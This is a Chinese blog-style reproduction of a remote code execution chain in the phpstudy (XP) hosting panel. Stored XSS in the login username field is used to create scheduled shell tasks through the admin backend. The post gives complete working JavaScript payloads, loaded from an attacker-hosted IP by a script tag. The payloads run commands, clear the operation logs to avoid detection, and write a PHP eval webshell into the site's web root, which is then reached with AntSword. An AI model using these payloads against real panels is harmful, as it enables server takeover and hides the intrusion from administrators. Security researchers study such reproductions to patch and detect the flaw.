一、漏洞描述
最近爆出phpstudy 小皮面板存在RCE漏洞,通过分析和复现发现本质上是一个存储型的XSS漏洞导致的RCE。这是一个很简单的1click的RCE,通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。
二、漏洞复现
首先在官网下载最新的小皮windows面板安装程序
访问xp.cn
在本地进行安装

安装完成之后会弹出访问地址,如下

访问系统登录面板,页面显示如下

首先在用户名登录的地方插入弹窗的xss代码验证是否存在漏洞

然后再用管理员账号登录系统

可以看到确实触发弹窗了,这是因为整个系统在加载的时候会读取操作日志的内容,因为刚才已经插入了弹窗的xss代码,所以这里执行显示了

紧接着该系统的后台有一个计划任务功能,其中可以执行系统命令,所以结合登录处的XSS漏洞可以通过写入计划任务来达到命令执行的目的。具体步骤如下
在vps上部署我们需要插入的js文件,内容显示如下(在服务器的www目录下写入验证txt文件)

function poc(){$.get('/service/app/tasks.php?type=task_list',{},function(data){var id=data.data[0].ID;$.post('/service/app/tasks.php?type=exec_task',{tid:id},function(res){$.post('/service/app/tasks.php?type=set_task_status',{task_id:id,status:0},function(res1){$.post('/service/app/tasks.php?type=set_task_status',{task_id:id,status:0},function(res2){$.post("/service/app/log.php?type=clearlog",{type:"clearlog"},function(res3){},"json");},"json");},"json");},"json");},"json");}function save(){var data=new Object();data.task_id="";data.title="test";data.exec_cycle="1";data.week="1";data.day="3";data.hour="13";data.minute = "51";data.shell="echo swzaq >D:/phpstudyweb/xp.cn/www/1.txt";$.post('/service/app/tasks.php?type=save_shell',data,function(res){poc();},'json');}save();这里的hour代表时,minute代表分
PS:这里需要清空日志,避免重复触发,不然很容易把真实环境搞崩
然后在登陆的用户名处插入如下代码
<script src=http://10.1.120.231:8000/poc.js></script>

只要管理员登录到系统,我们插入的xss代码即可写入计划任务并执行,通过计划任务就可以在服务器上写入文件

因为小皮面板这个运维系统类似于宝塔,所以其中会部署网站

这里写入webshell的话可以向网站目录下写,如
D:\phpstudyweb\xp.cn\www\wwwroot\admin\localhost_80\wwwroot
将上面的poc改造如下
function poc(){$.get('/service/app/tasks.php?type=task_list',{},function(data){var id=data.data[0].ID;$.post('/service/app/tasks.php?type=exec_task',{tid:id},function(res2){$.post('/service/app/log.php?type=clearlog',{},function(res3){},"json");},"json");},"json");}function save(){var data=new Object();data.task_id="";data.title="test";data.exec_cycle="1";data.week="1";data.day="3";data.hour="14";data.minute = "20";data.shell='echo "<?php @eval($_POST[123]);?>" >D:/phpstudyweb/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';$.post('/service/app/tasks.php?type=save_shell',data,function(res){poc();},'json');}save();

执行完成之后可以看到写入php文件成功了

用蚁剑测试连接


文章详细描述了phpstudy小皮面板存在的RCE漏洞,该漏洞源于一个存储型XSS,攻击者可利用此漏洞通过系统登录的XSS配合后台计划任务功能执行任意系统命令,甚至写入webshell。文章提供了漏洞复现的步骤,包括如何构造XSSpayload和利用计划任务执行PHP代码。

5668

被折叠的 条评论
为什么被折叠?



